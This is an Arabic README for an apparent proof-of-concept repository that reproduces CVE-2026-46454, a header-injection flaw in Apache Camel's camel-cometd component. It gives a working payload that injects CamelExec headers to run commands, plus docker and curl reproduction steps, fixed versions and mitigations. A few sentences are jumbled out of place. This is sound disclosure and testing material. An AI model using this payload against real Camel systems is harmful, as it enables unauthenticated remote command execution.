
مستنسخ لـ CVE-2026-46454 — Apache Camel camel-cometd حقن رأس Bayeux الوارد (حقن رأس تحكم Camel غير مصدق → توجيه المنتج النهائي / تنفيذ تعليمات برمجية عن بعد)
يوضح هذا المشروع حقن رأس الرسالة في مكوّن camel-cometd الخاص بـ Apache Camel، والذي يُتَتَبَّع باسم
CVE-2026-46454. يقوم المكوّن بتعيين رؤوس رسائل Bayeux (CometD) الواردة إلى Camel Exchange بدون
HeaderFilterStrategy. تقوم الدالة CometdBinding.createCamelMessage بنسخ خريطة ext.CamelHeaders بأكملها التي يقدمها عميل CometD مباشرة إلى رسالة Camel (message.setHeaders(...))، وبالتالي يتم قبول أي اسم رأس — بما في ذلك رؤوس التحكم الداخلية لـ Camel مثل CamelHttpUri و CamelFileName و CamelJmsDestinationName (أو، كما هنا، رؤوس التحكم camel-exec) — دون تعديل. نظرًا لأن لا يقوم بتثبيت ، فإن أي عميل يمكنه إكمال المصافحة (handshake) مع Bayeux يمكنه نشر مثل هذه الرسالة وتوجيه المنتجين النهائيين (downstream producers) في المسار.
CometdComponentSecurityPolicy لـ Bayeux بشكل افتراضي| الخاصية | القيمة |
|---|---|
| المكوّن | camel-cometd |
| الفئة المتأثرة | org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...)) |
| CWE | CWE-20: التحقق غير السليم من الإدخال |
| التأثير | حقن غير مصادق عليه لرؤوس التحكم في Camel → توجيه المنتجين النهائيين (تنفيذ تعليمات برمجية عن بُعد عبر exec هنا) |
| الإصدارات المتأثرة | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| الإصدارات المُصلحة | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23507 |
| المُبلّغ | Yu Bao (PayPal) |
نفس عائلة حقن الرؤوس مثل CVE-2025-27636 و CVE-2025-29891 و CVE-2025-30177 و CVE-2026-40453 و CVE-2026-47323 — المكوّنات التي تقوم بتعيين الرؤوس الواردة إلى Exchange بدون تصفية مساحة الاسم
Camel.
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders
if (headers != null) {
message.setHeaders(headers); // <-- no HeaderFilterStrategy
}
يتحكم العميل في ext.CamelHeaders، لذا يمكنه تعيين أي رأس تحكم Camel على Exchange. يقوم الإصلاح (4.14.8 / 4.18.3 / 4.21.0) بتنفيذ HeaderFilterStrategy (مهمة TODO طويلة الأمد في الكود) والتي تقوم بتصفية مساحة الاسم Camel* / camel* بشكل غير حساس لحالة الأحرف عند التعيين الوارد.
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
ينشر المهاجم إلى /service/inject مع ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; يقوم الربط (binding) بتعيينها على Exchange ويقوم منتج exec بتشغيل أمر المهاجم بدلاً من ذلك.
مكتفٍ ذاتيًا: يقوم مستهلك camel-cometd بتشغيل خادم Bayeux مضمن (المنفذ 8088) داخل التطبيق، ويعمل نقطة النهاية /exploit/attack كعميل CometD غير مصادق عليه.
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
# The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-46454 ls -la /tmp/pwned
docker compose down
أي مسار يحتوي على مستهلك camel-cometd يغذي منتجًا نهائيًا يتم التحكم في سلوكه بواسطة رؤوس Camel — منتج HTTP (CamelHttpUri)، منتج ملفات (CamelFileName)، منتج JMS (CamelJmsDestinationName)، منتج exec (CamelExecCommand*)، إلخ. أي عميل يمكنه إجراء المصافحة مع نقطة نهاية Bayeux يمكنه حقنها؛ لا يلزم مصادقة بشكل افتراضي. تستمر الرؤوس المحقونة عبر القفزات الداخلية direct و seda و vm.
SecurityPolicy لـ Bayeux على CometdComponent (الافتراضي)، لذا يمكن لأي عميل النشر.الترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507)، والذي يضيف HeaderFilterStrategy إلى ربط cometd الذي يمنع رؤوس Camel* / camel* المقدمة من العميل عند التعيين الوارد.
حتى الترقية:
.removeHeaders("Camel*") و .removeHeaders("camel*").SecurityPolicy صريح لـ Bayeux على CometdComponent بحيث يمكن للعملاء الموثوقين فقط النشر.يتم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة أمنية تم الكشف عنها وإصلاحها علنًا. لا تستخدمها ضد أنظمة دون إذن صريح.